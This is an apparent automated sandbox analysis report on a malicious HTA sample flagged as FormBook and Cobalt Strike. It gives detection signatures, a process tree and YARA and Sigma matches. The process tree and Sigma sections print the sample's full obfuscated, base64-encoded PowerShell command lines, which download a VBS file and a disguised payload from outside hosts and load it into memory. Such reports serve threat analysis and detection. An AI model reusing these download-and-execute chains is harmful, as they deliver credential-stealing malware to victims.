Edit tour

Windows Analysis Report
goodthhingswithgreatcapitalthingsforgreatnewswithgoodmorng.hta

Overview

General Information

Sample name:	goodthhingswithgreatcapitalthingsforgreatnewswithgoodmorng.hta
Analysis ID:	1574255
MD5:	db521beb834b08845d50b334054c4e2d
SHA1:	6a9588668d1dc29631b57d022b2194f884854a75
SHA256:	e32b43fe4921503121a4a547362eb8a67a50f6d2dee0c18b409c8655af008645
Tags:	htauser-abuse_ch
Infos:

Detection

Cobalt Strike, FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected Cobalt Strike Beacon

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected FormBook

Yara detected Powershell decode and execute

Yara detected Powershell download and execute

Yara detected obfuscated html page

AI detected suspicious sample

Connects to a pastebin service (likely for C&C)

Found direct / indirect Syscall (likely to bypass EDR)

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

PowerShell case anomaly found

Queues an APC in another process (thread injection)

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: WScript or CScript Dropper

Suspicious command line found

Suspicious execution chain found

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Checks if the current process is being debugged

Compiles C# or VB.Net code

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

mshta.exe (PID: 1088 cmdline: mshta.exe "C:\Users\user\Desktop\goodthhingswithgreatcapitalthingsforgreatnewswithgoodmorng.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505)

cmd.exe (PID: 6036 cmdline: "C:\Windows\system32\cmd.exe" "/c POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVSaUlMZk4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTDRmd2R5eUxqMDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzIuNDQuMTc1LzczL3NpbXBsZWNvb2tpZWJpc2N1dHdpdGhzd2VldG5lc3Nmb3JlbnRpcmV0aW1lLnRJRiIsIiRlTnY6QVBQREFUQVxzaW1wbGVjb29raWViaXNjdXR3aXRoc3dlZXRuZXNzZm9yZW50aXIudmJTIiwwLDApO3NUQXJULVNsZUVwKDMpO0lOdk9rZS1FWFBSZXNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcc2ltcGxlY29va2llYmlzY3V0d2l0aHN3ZWV0bmVzc2ZvcmVudGlyLnZiUyI='+[ChAr]0X22+'))')))" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5144 cmdline: POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVSaUlMZk4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTDRmd2R5eUxqMDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzIuNDQuMTc1LzczL3NpbXBsZWNvb2tpZWJpc2N1dHdpdGhzd2VldG5lc3Nmb3JlbnRpcmV0aW1lLnRJRiIsIiRlTnY6QVBQREFUQVxzaW1wbGVjb29raWViaXNjdXR3aXRoc3dlZXRuZXNzZm9yZW50aXIudmJTIiwwLDApO3NUQXJULVNsZUVwKDMpO0lOdk9rZS1FWFBSZXNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcc2ltcGxlY29va2llYmlzY3V0d2l0aHN3ZWV0bmVzc2ZvcmVudGlyLnZiUyI='+[ChAr]0X22+'))')))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

csc.exe (PID: 4796 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\j4tmsurx\j4tmsurx.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

cvtres.exe (PID: 1372 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC568.tmp" "c:\Users\user\AppData\Local\Temp\j4tmsurx\CSCD8A49667F2D248CBA423D29C56F4A9D.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

wscript.exe (PID: 6552 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\simplecookiebiscutwithsweetnessforentir.vbS" MD5: FF00E0480075B095948000BDC66E81F0)

powershell.exe (PID: 1096 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $claustrophobe = 'JGF1dG9zYXZlID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cGxvYWQvdjE3MzMxMzQ5NDcvYmtscHlzZXlldXQ0aW1wdzUwbjEuanBnICc7JGNoZW1vdHJvcGlzbSA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHF1ZWVmID0gJGNoZW1vdHJvcGlzbS5Eb3dubG9hZERhdGEoJGF1dG9zYXZlKTskcHVua2xpbmcgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcXVlZWYpOyR0dWJlcmN1bG9waG9iaWEgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JGZlbXRvY291bG9tYiA9ICc8PEJBU0U2NF9FTkQ+Pic7JHVudGhyaWZ0eSA9ICRwdW5rbGluZy5JbmRleE9mKCR0dWJlcmN1bG9waG9iaWEpOyRoYW1tYW0gPSAkcHVua2xpbmcuSW5kZXhPZigkZmVtdG9jb3Vsb21iKTskdW50aHJpZnR5IC1nZSAwIC1hbmQgJGhhbW1hbSAtZ3QgJHVudGhyaWZ0eTskdW50aHJpZnR5ICs9ICR0dWJlcmN1bG9waG9iaWEuTGVuZ3RoOyRwZXRyb2RvbGxhciA9ICRoYW1tYW0gLSAkdW50aHJpZnR5OyRkYXN5YXRpZGFlID0gJHB1bmtsaW5nLlN1YnN0cmluZygkdW50aHJpZnR5LCAkcGV0cm9kb2xsYXIpOyRkaWdpdGFsaXNpbmcgPSAtam9pbiAoJGRhc3lhdGlkYWUuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGRhc3lhdGlkYWUuTGVuZ3RoKV07JHVuaWRlYWxpemVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZGlnaXRhbGlzaW5nKTskY29tbWVuZGluZyA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJHVuaWRlYWxpemVkKTskamFwb25pY2FzID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGphcG9uaWNhcy5JbnZva2UoJG51bGwsIEAoJzAvY3VWREUvci9lZS5ldHNhcC8vOnNwdHRoJywgJyRjb25maWRlbnRpYWxpdHknLCAnJGNvbmZpZGVudGlhbGl0eScsICckY29uZmlkZW50aWFsaXR5JywgJ0Nhc1BvbCcsICckY29uZmlkZW50aWFsaXR5JywgJyRjb25maWRlbnRpYWxpdHknLCckY29uZmlkZW50aWFsaXR5JywnJGNvbmZpZGVudGlhbGl0eScsJyRjb25maWRlbnRpYWxpdHknLCckY29uZmlkZW50aWFsaXR5JywnJGNvbmZpZGVudGlhbGl0eScsJzEnLCckY29uZmlkZW50aWFsaXR5JykpOw==';$uninverted = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($claustrophobe));Invoke-Expression $uninverted MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 2924 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

CasPol.exe (PID: 6780 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B)

xwZkSdnVCDBnu.exe (PID: 3948 cmdline: "C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

ieUnatt.exe (PID: 1276 cmdline: "C:\Windows\SysWOW64\ieUnatt.exe" MD5: 4E9919DF2EF531B389ABAEFD35AD546E)

xwZkSdnVCDBnu.exe (PID: 6160 cmdline: "C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

firefox.exe (PID: 5252 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
goodthhingswithgreatcapitalthingsforgreatnewswithgoodmorng.hta	JoeSecurity_Obshtml	Yara detected obfuscated html page	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2b950:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x13c4f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000C.00000002.3294394478.0000000004EE0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000C.00000002.3294394478.0000000004EE0000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2b950:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x13c4f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000A.00000002.2519525934.0000000002D00000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000A.00000002.2519525934.0000000002D00000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x33ac8:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1bdc7:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000A.00000002.2501710464.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000A.00000002.2501710464.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2ea43:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x16d42:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x33ac8:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1bdc7:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000C.00000002.3294304837.0000000004E90000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000C.00000002.3294304837.0000000004E90000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2b950:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x13c4f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000A.00000002.2704949585.0000000004F00000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000A.00000002.2704949585.0000000004F00000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2b950:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x13c4f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000E.00000002.3296102797.0000000005890000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000E.00000002.3296102797.0000000005890000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x663ae:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x4e6ad:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
Process Memory Space: powershell.exe PID: 1096	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 1096	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x43c0a:$b2: ::FromBase64String( 0x442e6:$b2: ::FromBase64String( 0xb2151:$b2: ::FromBase64String( 0xb3029:$b2: ::FromBase64String( 0xb3dd8:$b2: ::FromBase64String( 0xbc993:$b2: ::FromBase64String( 0x7873bb:$b2: ::FromBase64String( 0x787a97:$b2: ::FromBase64String( 0x7d09e0:$b2: ::FromBase64String( 0x7d0a4d:$b2: ::FromBase64String( 0x7da198:$b2: ::FromBase64String( 0x805a38:$b2: ::FromBase64String( 0x806114:$b2: ::FromBase64String( 0x83dd3f:$b2: ::FromBase64String( 0x843a59:$b2: ::FromBase64String( 0xa7a124:$b2: ::FromBase64String( 0xa83d2b:$b2: ::FromBase64String( 0xa84407:$b2: ::FromBase64String( 0x43be9:$b3: ::UTF8.GetString( 0x442c5:$b3: ::UTF8.GetString( 0xb2130:$b3: ::UTF8.GetString(
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
10.2.CasPol.exe.400000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
10.2.CasPol.exe.400000.0.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2dc43:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x15f42:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
10.2.CasPol.exe.400000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
10.2.CasPol.exe.400000.0.raw.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2ea43:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x16d42:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01

Other

Source	Rule	Description	Author	Strings
amsi32_1096.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi32_1096.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $claustrophobe = 'JGF1dG9zYXZlID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cGxvYWQvdjE3MzMxMzQ5NDcvYmtscHlzZXlldXQ0aW1wdzUwbjEuanBnICc7JGNoZW1vdHJvcGlzbSA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHF1ZWVmID0gJGNoZW1vdHJvcGlzbS5Eb3dubG9hZERhdGEoJGF1dG9zYXZlKTskcHVua2xpbmcgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcXVlZWYpOyR0dWJlcmN1bG9waG9iaWEgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JGZlbXRvY291bG9tYiA9ICc8PEJBU0U2NF9FTkQ+Pic7JHVudGhyaWZ0eSA9ICRwdW5rbGluZy5JbmRleE9mKCR0dWJlcmN1bG9waG9iaWEpOyRoYW1tYW0gPSAkcHVua2xpbmcuSW5kZXhPZigkZmVtdG9jb3Vsb21iKTskdW50aHJpZnR5IC1nZSAwIC1hbmQgJGhhbW1hbSAtZ3QgJHVudGhyaWZ0eTskdW50aHJpZnR5ICs9ICR0dWJlcmN1bG9waG9iaWEuTGVuZ3RoOyRwZXRyb2RvbGxhciA9ICRoYW1tYW0gLSAkdW50aHJpZnR5OyRkYXN5YXRpZGFlID0gJHB1bmtsaW5nLlN1YnN0cmluZygkdW50aHJpZnR5LCAkcGV0cm9kb2xsYXIpOyRkaWdpdGFsaXNpbmcgPSAtam9pbiAoJGRhc3lhdGlkYWUuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGRhc3lhdGlkYWUuTGVuZ3RoKV07JHVuaWRlYWxpemVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZGlnaXRhbGlzaW5nKTskY29tbWVuZGluZyA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJHVuaWRlYWxpemVkKTskamFwb25pY2FzID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGphcG9uaWNhcy5JbnZva2UoJG51bGwsIEAoJzAvY3VWREUvci9lZS5ldHNhcC8vOnNwdHRoJywgJyRjb25maWRlbnRpYWxpdHknLCAnJGNvbmZpZGVudGlhbGl0eScsICckY29uZmlkZW50aWFsaXR5JywgJ0Nhc1BvbCcsICckY29uZmlkZW50aWFsaXR5JywgJyRjb25maWRlbnRpYWxpdHknLCckY29uZmlkZW50aWFsaXR5JywnJGNvbmZpZGVudGlhbGl0eScsJyRjb25maWRlbnRpYWxpdHknLCckY29uZmlkZW50aWFsaXR5JywnJGNvbmZpZGVudGlhbGl0eScsJzEnLCckY29uZmlkZW50aWFsaXR5JykpOw==';$uninverted = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($claustrophobe));Invoke-Expression $uninverted, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $claustrophobe = 'JGF1dG9zYXZlID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cGxvYWQvdjE3MzMxMzQ5NDcvYmtscHlzZXlldXQ0aW1wdzUwbjEuanBnICc7JGNoZW1vdHJvcGlzbSA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHF1ZWVmID0gJGNoZW1vdHJvcGlzbS5Eb3dubG9hZERhdGEoJGF1dG9zYXZlKTskcHVua2xpbmcgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcXVlZWYpOyR0dWJlcmN1bG9waG9iaWEgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JGZlbXRvY291bG9tYiA9ICc8PEJBU0U2NF9FTkQ+Pic7JHVudGhyaWZ0eSA9ICRwdW5rbGluZy5JbmRleE9mKCR0dWJlcmN1bG9waG9iaWEpOyRoYW1tYW0gPSAkcHVua2xpbmcuSW5kZXhPZigkZmVtdG9jb3Vsb21iKTskdW50aHJpZnR5IC1nZSAwIC1hbmQgJGhhbW1hbSAtZ3QgJHVudGhyaWZ0eTskdW50aHJpZnR5ICs9ICR0dWJlcmN1bG9waG9iaWEuTGVuZ3RoOyRwZXRyb2RvbGxhciA9ICRoYW1tYW0gLSAkdW50aHJpZnR5OyRkYXN5YXRpZGFlID0gJHB1bmtsaW5nLlN1YnN0cmluZygkdW50aHJpZnR5LCAkcGV0cm9kb2xsYXIpOyRkaWdpdGFsaXNpbmcgPSAtam9pbiAoJGRhc3lhdGlkYWUuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGRhc3lhdGlkYWUuTGVuZ3RoKV07JHVuaWRlYWxpemVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZGlnaXRhbGlzaW5nKTskY29tbWVuZGluZyA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJHVuaWRlYWxpemVkKTskamFwb25pY2FzID0gW2RubGliLk

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\simplecookiebiscutwithsweetnessforentir.vbS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\simplecookiebiscutwithsweetnessforentir.vbS" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICA